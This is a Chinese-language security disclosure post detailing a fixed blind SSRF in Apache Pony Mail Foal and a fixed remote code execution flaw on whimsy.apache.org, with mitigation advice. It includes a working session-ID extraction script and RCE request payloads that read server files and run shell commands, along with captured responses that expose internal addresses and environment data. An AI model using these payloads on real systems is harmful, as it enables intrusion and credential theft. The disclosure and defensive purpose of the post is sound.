解读被“遗忘”的Apache安全漏洞:从SSRF到远程代码执行

本文详细披露了在Apache Pony Mail Foal中发现的服务器端请求伪造漏洞以及在whimsy.apache.org上发现的远程代码执行漏洞的技术细节、利用方式和修复建议,尽管这些漏洞已上报并修复,但未能获得CVE编号。

迷失在翻译中:那些未被计入统计的Apache漏洞

在我们2024年的安全研究中,我们在Apache基金会的一些项目中发现了几个漏洞,这些漏洞似乎在我们的漏洞报告和CVE分配过程中“迷失在翻译中”。当我们耐心等待这些发现能正式“计入”统计时,它们被搁置的时间似乎比周五下午的软件更新还要长。近一年过去了,仍未分配任何CVE编号,以至于我们现在才想起来。因此,我们认为是时候让这些漏洞重见天日了,即使它们注定要成为安全界“那些被漏掉的”一员。以下漏洞已负责任地披露给Apache并已得到修复,尽管它们仍属于那种真实到需要修复但没有CVE编号的特殊漏洞类别。

漏洞 #1:Apache Pony Mail Foal中的服务器端请求伪造

概述

Apache Pony Mail Foal中存在一个盲服务器端请求伪造漏洞,允许攻击者向服务器发送有限的精心构造的请求,可能导致未授权访问内部资源。

产品概述

Apache Pony Mail Foal是一个基于网络的邮件归档浏览器,旨在扩展到数百万条归档消息和每秒数百个请求。它允许您浏览、搜索邮件列表并与之交互,包括创建对邮件列表主题的回复。该项目使用OAuth2进行身份验证以允许查看私有列表,并使用ElasticSearch进行存储和搜索。

技术细节

OAuth2端点允许用户在oauth_token参数中指定任意URL,包括通常无法公开访问的内部URL。这使得攻击者可以向内部URL发送有限的精心构造的POST请求,以及如果提供了触发重定向的URL,还可以发送GET请求。

易受攻击的代码位于server/plugins/oauthGeneric.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
async def process(
    server: plugins.server.BaseServer, session: plugins.session.SessionObject, indata: dict,
) -> typing.Union[dict, aiohttp.web.Response]:

    debug(server, f"oauth/indata: {indata}")
    key = indata.get("key", "")
    state = indata.get("state")
    code = indata.get("code")
    id_token = indata.get("id_token")
    oauth_token = indata.get("oauth_token")

    rv: typing.Optional[dict] = None

    # Google OAuth - 目前仅获取电子邮件地址
    if key == "google" and id_token and server.config.oauth.google_client_id:
        rv = await plugins.oauthGoogle.process(indata, session, server)

    # GitHub OAuth - 获取姓名和电子邮件
    elif key == "github" and code and server.config.oauth.github_client_id:
        rv = await plugins.oauthGithub.process(indata, session, server)

    # 通用OAuth处理器,目前我们只支持这个。适用于ASF OAuth。
    elif state and code and oauth_token:
        rv = await plugins.oauthGeneric.process(indata, session, server)

  if rv:
    # [...]

  return {"okay": False, "message": "Could not process OAuth login!"}

从代码中可以看出,如果提供的密钥不是googlegithub,则会调用oauthGeneric插件。其代码位于server/plugins/oauthGeneric.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
async def process(formdata: dict, _session, _server) -> typing.Optional[dict]:
    # 提取域名,允许包含:端口
    # 不处理用户/密码前缀等
    m = re.match(r"https?://([^/:]+)(?::\d+)?/", formdata["oauth_token"])
    if m:
        oauth_domain = m.group(1)
        headers = {"User-Agent": "Pony Mail OAuth Agent/0.1"}
        # 这是一个同步过程,因此我们将其卸载到异步运行器中,以便主循环继续。
        async with aiohttp.client.request("POST", formdata["oauth_token"], headers=headers, data=formdata) as rv:
            js = await rv.json() # [1]
            js["oauth_domain"] = oauth_domain
        return js
    return None

oauth_token参数用于向提供的URL发出POST请求,该URL可能是内部URL。只要请求包含必需的参数(keystatecodeoauth_token),服务器就会向oauth_token参数中提供的URL发出请求,包括POST数据中提供的任何其他附加参数。虽然响应不会返回给用户,但攻击者仍可以利用此功能在服务器上触发操作,其影响取决于内部网络上存在哪些服务(有关潜在利用场景的示例,请参阅https://github.com/assetnote/blind-ssrf-chains)。

此外,在我们的研究中,我们发现如果在oauth_token参数中提供了触发重定向的URL,服务器将遵循重定向并向最终URL发出GET请求。这除了可以发送POST请求外,还可以用于向内部URL发送GET请求,从而扩大了攻击面。我们特别发现,如果攻击者知道用于存储会话数据的Elasticsearch实例的URL,则可以通过推理技术(类似于盲SQL注入攻击)向服务器发出重复请求来提取有效的会话标识符,然后可以使用这些标识符作为经过身份验证的用户访问服务器。

概念验证

我们的概念验证假设在localhost:9200上有一个Elasticsearch服务器,只能从运行Pony Mail的服务器访问,并用于存储包括会话标识符在内的数据。我们的漏洞利用利用了Elasticsearch的以下行为:

  • 可以向SQL服务器发送形式为http://localhost:9200/_sql?source_content_type=application/json&source={"query":"SQL_QUERY"}&format=txt的GET请求,并获得text/html内容类型的响应。
  • 如果SQL查询导致错误,响应将具有application/json内容类型,并以JSON格式发送错误消息。

Pony Mail的OAuth2端点如果请求成功并包含JSON数据,将简单地返回一个包含消息“Could not process OAuth login!”的200 OK响应,但如果请求返回非JSON数据(由上面[1]处的rv.json()调用失败引起),则将返回500 Internal Server Error。因此,我们可以将oauth_token参数设置为:

1
http://REDIRECTOR-SERVER/redirect?url=http%3a//localhost%3a9200/_sql%3fsource_content_type%3dapplication/json%26source%3d{"query"%3A"select cast(cookie as timestamp) from \"ponymail-session\" where cookie like 'a%'"}%26format%3dtxt

重定向服务器是必要的,以便使Ponymail向Elasticsearch服务器发出GET请求而不是POST请求。如果ponymail-session索引中存在以‘a’开头的cookie,Elasticsearch在尝试将其转换为时间戳时会出错,并向Pony Mail返回JSON响应,导致Pony Mail返回200 OK。如果没有这样的cookie,Elasticsearch将返回一个带有text/html内容类型的200 OK响应(因为它不尝试执行转换,因此不会发生错误),导致Pony Mail在尝试解码非JSON响应时返回500 Internal Server Error。通过发送多个具有不同起始字符的请求,我们可以一次确定一个字符的会话标识符。此攻击在下面的脚本中实现,该脚本假设在localhost:9200上存在Elasticsearch服务器,并使用httpbin执行重定向:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests

def exfil(session_id, target):
    ORIG_POST_DATA = {
    "key": "user",
    "state": "z",
    "code": "z",
    "oauth_token": "https://httpbin.org/redirect-to?url=http%3a//localhost%3a9200/_sql%3fsource_content_type%3dapplication/json%26source%3d{%2522query%2522%253A%2522select%2520cast(cookie%2520as%2520timestamp)%2520from%2520%5C%2522ponymail-session%5C%2522%2520where%2520cookie%2520like%2520%2527__INJECTION__%2525%2527%2522}%26format%3dtxt"
    }
    POST_URL = "/api/oauth.json"
    POST_DATA = ORIG_POST_DATA.copy()
    POST_DATA["oauth_token"] = POST_DATA["oauth_token"].replace("__INJECTION__", session_id)
    res = requests.post(target + POST_URL, json=POST_DATA)
    if res.status_code == 500:
        return False
    return True

def main():
    TARGET = "http://localhost:1080"
    session_id = ""
    for i in range(36):
        for c in "0123456789abcdef-":
            if exfil(session_id + c, TARGET):
                session_id += c
                print("Session ID: " + session_id)
                break

if __name__ == "__main__":
    main()

要重现此漏洞利用,请按照https://github.com/apache/incubator-ponymail-foal/blob/master/DOCKER.md上的说明设置Pony Mail Foal的Docker实例,并至少登录一次以便在数据库中创建会话。然后,运行上述脚本以提取会话标识符。

一旦提取,攻击者可以将其cookie设置为提取的会话ID,并使用它来冒充经过身份验证的用户。类似的技术可用于从Elasticsearch服务器中的其他索引获取数据,或向其他内部服务发出请求。

缓解建议

遵循推荐的指南,防止OAuth端点向内部URL/IP地址发出请求:https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html

漏洞 #2:whimsy.apache.org上的远程代码执行

概述

whimsy.apache.org/ruby2js.cgi允许用户指定配置文件的路径,该文件预期是一个将由instance_eval评估的ruby脚本。攻击者能够通过指定/proc/self/environ作为配置文件来在服务器上执行任意ruby代码。

技术细节

ruby2js.cgi文件可以在whimsy源代码仓库中找到: https://github.com/apache/whimsy/blob/9f2c53f776e7c2985afd393427458e6cf93bd6b1/www/ruby2js.cgi#L4

1
2
3
4
#!/usr/bin/env ruby
Dir.chdir "/srv/git/ruby2js/demo"
$:.unshift '/srv/git/ruby2js/lib'
load "./ruby2js.rb"

它加载了ruby2js.rb,据信来自此项目: https://github.com/ruby2js/ruby2js/blob/7713cff949ad98e356bad46f38fc94051cdc7d28/demo/ruby2js.rb#L60-L62

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# 文件:ruby2js/demo/ruby2js.rb
# L34-L45
  env['QUERY_STRING'].to_s.split('&').each do |opt|
    key, value = opt.split('=', 2)
    if key == 'ruby'
      @ruby = CGI.unescape(value)
    elsif key == 'filter'
      selected = CGI.unescape(value).split(',')
    elsif value
      ARGV.push("--#{key}=#{CGI.unescape(value)}")  # [1]
    else
      ARGV.push("--#{key}")
    end
  end

# L53-L162
  require 'optparse'
  opts = OptionParser.new

  opts.on('-C', '--config [FILE]', "configuration file to use (default is config/ruby2js.rb)") {|filename|
    options[:config_file] = filename
  }

  opts.parse!  # [2]

# L643
    converted = Ruby2JS.convert(@ruby, options)  # [3]

在[1]处,脚本将QUERY_STRING转换为ARGV数组,然后在[2]处使用optparse类解析ARGV。在这里,用户能够通过查询参数config=/path/to/fileC=/path/to/file来设置options[:config_file]

随后在[3]处,使用解析后的选项调用Ruby2JS.convert

1
2
3
4
5
6
7
8
9
# https://github.com/ruby2js/ruby2js/blob/7713cff949ad98e356bad46f38fc94051cdc7d28/lib/ruby2js.rb#L261-L263
      if options[:config_file]
        options = ConfigurationDSL.load_from_file(options[:config_file], options).to_h  # [4]
      end

# https://github.com/ruby2js/ruby2js/blob/7713cff949ad98e356bad46f38fc94051cdc7d28/lib/ruby2js/configuration_dsl.rb#L3-L5
    def self.load_from_file(config_file, options = {})
      new(options).tap { _1.instance_eval(File.read(config_file), config_file, 1) }  # [5]
    end

最终,config_fileinstance_eval进行评估。

概念验证

File.read("/etc/hosts")

1
https://whimsy.apache.org/ruby2js.cgi/;puts%22%22;puts%20File.read(%22/etc/hosts%22);exit;?config=/proc/self/environ

响应:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
HTTP/1.1 200 OK
Date: Tue, 24 Oct 2023 04:11:33 GMT
Server: Apache
Connection: close
Content-Length: 267

172.31.87.36	whimsy-vm6.apache.org whimsy-vm6
127.0.0.1 localhost

# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
ff02::3 ip6-allhosts

File.read("/proc/self/environ")

请求:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
POST /ruby2js.cgi/;puts"\x0d\x0a";puts%20File.read("/proc/self/environ");exit;?config=/proc/self/environ HTTP/1.1
Host: whimsy.apache.org
Content-Length: 11
Accept: application/json
Content-Type: application/json
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close

{"ruby":""}

响应(Base64编码):

1
SFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUdWUsIDI0IE9jdCAyMDIzIDA0OjEzOjI5IEdNVA0KU2VydmVyOiBBcGFjaGUNCkNvbm5lY3Rpb246IGNsb3NlDQpDb250ZW50LUxlbmd0aDogMjIzMw0KDQpTQ1JJUFRfVVJMPS9ydWJ5MmpzLmNnaS87cHV0cyJceDBkXHgwYSI7cHV0cyBGaWxlLnJlYWQoIi9wcm9jL3NlbGYvZW52aXJvbiIpO2V4aXQ7AFNDUklQVF9VUkk9aHR0cHM6Ly93aGltc3kuYXBhY2hlLm9yZy9ydWJ5MmpzLmNnaS87cHV0cyJceDBkXHgwYSI7cHV0cyBGaWxlLnJlYWQoIi9wcm9jL3NlbGYvZW52aXJvbiIpO2V4aXQ7AEhUVFBfQVVUSE9SSVpBVElPTj0ASE9NRT0vdmFyL3d3dwBIVFRQUz1vbgBTU0xfVExTX1NOST13aGltc3kuYXBhY2hlLm9yZwBTU0xfU0VSVkVSX1NfRE5fQ049d2hpbXN5LmFwYWNoZS5vcmcAU1NMX1NFUlZFUl9JX0ROX0M9VVMAU1NMX1NFUlZFUl9JX0ROX089TGV0J3MgRW5jcnlwdABTU0xfU0VSVkVSX0lfRE5fQ049UjMAU1NMX1NFUlZFUl9TQU5fRE5TXzA9d2hpbXN5LXZtNi5hcGFjaGUub3JnAFNTTF9TRVJWRVJfU0FOX0ROU18xPXdoaW1zeS5hcGFjaGUub3JnAFNTTF9TRVJWRVJfU0FOX0ROU18yPXdoaW1zeTYuYXBhY2hlLm9yZwBTU0xfVkVSU0lPTl9JTlRFUkZBQ0U9bW9kX3NzbC8yLjQuNDEAU1NMX1ZFUlNJT05fTElCUkFSWT1PcGVuU1NMLzEuMS4xZgBTU0xfUFJPVE9DT0w9VExTdjEuMwBTU0xfU0VDVVJFX1JFTkdFPXRydWUAU1NMX0NPTVBSRVNTX01FVEhPRD1OVUxMAFNTTF9DSVBIRVI9VExTX0FFU18yNTZfR0NNX1NIQTM4NABTU0xfQ0lQSEVSX0VYUE9SVD1mYWxzZQBTU0xfQ0lQSEVSX1VTRUtFWVNJWkU9MjU2AFNTTF9DSVBIRVJfQUxHS0VZU0laRT0yNTYAU1NMX0NMSUVOVF9WRVJJRlk9Tk9ORQBTU0xfU0VSVkVSX01fVkVSU0lPTj0zAFNTTF9TRVJWRVJfTV9TRVJJQUw9MDM4Q0M3ODRDMkRBM0EyNjAxRURBNkIxRjc4MDU4ODhENzA3AFNTTF9TRVJWRVJfVl9TVEFSVD1TZXAgIDggMDg6MTg6NTEgMjAyMyBHTVQAU1NMX1NFUlZFUl9WX0VORD1EZWMgIDcgMDg6MTg6NTAgMjAyMyBHTVQAU1NMX1NFUlZFUl9TX0ROPUNOPXdoaW1zeS5hcGFjaGUub3JnAFNTTF9TRVJWRVJfSV9ETj1DTj1SMyxPPUxldCdzIEVuY3J5cHQsQz1VUwBTU0xfU0VSVkVSX0FfS0VZPXJzYUVuY3J5cHRpb24AU1NMX1NFUlZFUl9BX1NJRz1zaGEyNTZXaXRoUlNBRW5jcnlwdGlvbgBTU0xfU0VTU0lPTl9JRD05ZmI5OWU2NTEyMGQ0NTI3ZmMzNzdiNWRkNDVhYTg4NWM2YWExNDViNzNjZjU2OWJiY2U1ZTExMmFjZGI5ZGRkAFNTTF9TRVNTSU9OX1JFU1VNRUQ9UmVzdW1lZABIVFRQX0hPU1Q9d2hpbXN5LmFwYWNoZS5vcmcAQ09OVEVOVF9MRU5HVEg9MTEASFRUUF9BQ0NFUFQ9YXBwbGljYXRpb24vanNvbgBDT05URU5UX1RZUEU9YXBwbGljYXRpb24vanNvbgBIVFRQX0FDQ0VQVF9FTkNPRElORz1nemlwLCBkZWZsYXRlLCBicgBIVFRQX0FDQ0VQVF9MQU5HVUFHRT1lbi1VUyxlbjtxPTAuOQBIVFRQX0NPTk5FQ1RJT049Y2xvc2UAUEFUSD0vdXNyL2xvY2FsL3NiaW46L3Vzci9sb2NhbC9iaW46L3Vzci9zYmluOi91c3IvYmluOi9zYmluOi9iaW46L3NuYXAvYmluAFNFUlZFUl9TSUdOQVRVUkU9AFNFUlZFUl9TT0ZUV0FSRT1BcGFjaGUAU0VSVkVSX05BTUU9d2hpbXN5LmFwYWNoZS5vcmcAU0VSVkVSX0FERFI9MTcyLjMxLjg3LjM2AFNFUlZFUl9QT1JUPTQ0MwBSRU1PVEVfQUREUj01Mi4yMjEuMjAyLjIzAERPQ1VNRU5UX1JPT1Q9L3gxL3Nydi93aGltc3kvd3d3AFJFUVVFU1RfU0NIRU1FPWh0dHBzAENPTlRFWFRfUFJFRklYPQBDT05URVhUX0RPQ1VNRU5UX1JPT1Q9L3gxL3Nydi93aGltc3kvd3d3AFNFUlZFUl9BRE1JTj1bbm8gYWRkcmVzcyBnaXZlbl0AU0NSSVBUX0ZJTEVOQU1FPS94MS9zcnYvd2hpbXN5L3d3dy9ydWJ5MmpzLmNnaQBSRU1PVEVfUE9SVD0zNzA1OQBHQVRFV0FZX0lOVEVSRkFDRT1DR0kvMS4xAFNFUlZFUl9QUk9UT0NPTD1IVFRQLzEuMQBSRVFVRVNUX01FVEhPRD1QT1NUAFFVRVJZX1NUUklORz1jb25maWc9L3Byb2Mvc2VsZi9lbnZpcm9uAFJFUVVFU1RfVVJJPS9ydWJ5MmpzLmNnaS87cHV0cyJceDBkXHgwYSI7cHV0cyUyMEZpbGUucmVhZCgiL3Byb2Mvc2VsZi9lbnZpcm9uIik7ZXhpdDs/Y29uZmlnPS9wcm9jL3NlbGYvZW52aXJvbgBTQ1JJUFRfTkFNRT0vcnVieTJqcy5jZ2kAUEFUSF9JTkZPPS87cHV0cyJceDBkXHgwYSI7cHV0cyBGaWxlLnJlYWQoIi9wcm9jL3NlbGYvZW52aXJvbiIpO2V4aXQ7AFBBVEhfVFJBTlNMQVRFRD0veDEvc3J2L3doaW1zeS93d3cvO3B1dHMiXHgwZFx4MGEiO3B1dHMgRmlsZS5yZWFkKCIvcHJvYy9zZWxmL2Vudmlyb24iKTtleGl0OwAK

Dir[’/srv/*']

请求:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
POST /ruby2js.cgi/;puts"\x0d\x0a";puts%20Dir['/srv/*'];exit;?config=/proc/self/environ HTTP/1.1
Host: whimsy.apache.org
Content-Length: 24
Accept: application/json
Content-Type: application/json
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close

{"ruby":"42","ast":true}

响应:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
HTTP/1.1 200 OK
Date: Tue, 24 Oct 2023 04:16:38 GMT
Server: Apache
Connection: close
Content-Length: 190

/srv/git
/srv/svn
/srv/gpg
/srv/whimsy
/srv/puppet-data
/srv/subscriptions
/srv/ldap.txt
/srv/mail
/srv/subscriptions2.old
/srv/icla
/srv/agenda
/srv/cache
/srv/mbox
/srv/subscriptions1.old

IO.read("|id;whoami;ifconfig;ip addr")

请求:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
POST /ruby2js.cgi/;puts"\x0d\x0a";puts%20IO.read("|id;whoami;ifconfig;ip%20addr");exit;?config=/proc/self/environ HTTP/1.1
Host: whimsy.apache.org
Content-Length: 11
Accept: application/json
Content-Type: application/json
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close

{"ruby":""}

响应:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
HTTP/1.1 200 OK
Date: Tue, 24 Oct 2023 04:23:59 GMT
Server: Apache
Connection: close
Content-Length: 1654

uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 9001
        inet 172.31.87.36  netmask 255.255.240.0  broadcast 172.31.95.255
        inet6 fe80::14c1:8dff:fe11:7043  prefixlen 64  scopeid 0x20<link>
        ether 16:c1:8d:11:70:43  txqueuelen 1000  (Ethernet)
        RX packets 21322168  bytes 20790422361 (20.7 GB)
        RX errors 0  dropped 208  overruns 0  frame 0
        TX packets 9360717  bytes 6187387443 (6.1 GB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 10558507  bytes 3830672282 (3.8 GB)
        RX errors 0  dropped 0 overruns 0  frame 0
        TX packets 10558507  bytes 3830672282 (3.8 GB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 9001 qdisc mq state UP group default qlen 1000
    link/ether 16:c1:8d:11:70:43 brd ff:ff:ff:ff:ff:ff
    inet 172.31.87.36/20 brd 172.31.95.255 scope global dynamic eth0
       valid_lft 2858sec preferred_lft 2858sec
    inet6 fe80::14c1:8dff:fe11:7043/64 scope link 
       valid_lft forever preferred_lft forever

修复建议

  • 移除ruby2js.cgi,或像对/members/secretary实现的那样添加LDAP基本身份验证。
  • 由于在测试期间已成功从/srv/ldap.txt中提取了密钥,因此应使/srv/ldap.txt中存储的所有密钥值失效并轮换,以防止在传输过程中可能泄露任何密钥值。
  • 检查Web日志以查找任何潜在的先前利用尝试。

致谢

STAR Labs SG Pte. Ltd. (@starlabs_sg) 的 Li Jiantao (@CurseRed) 和 Devesh Logendran。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计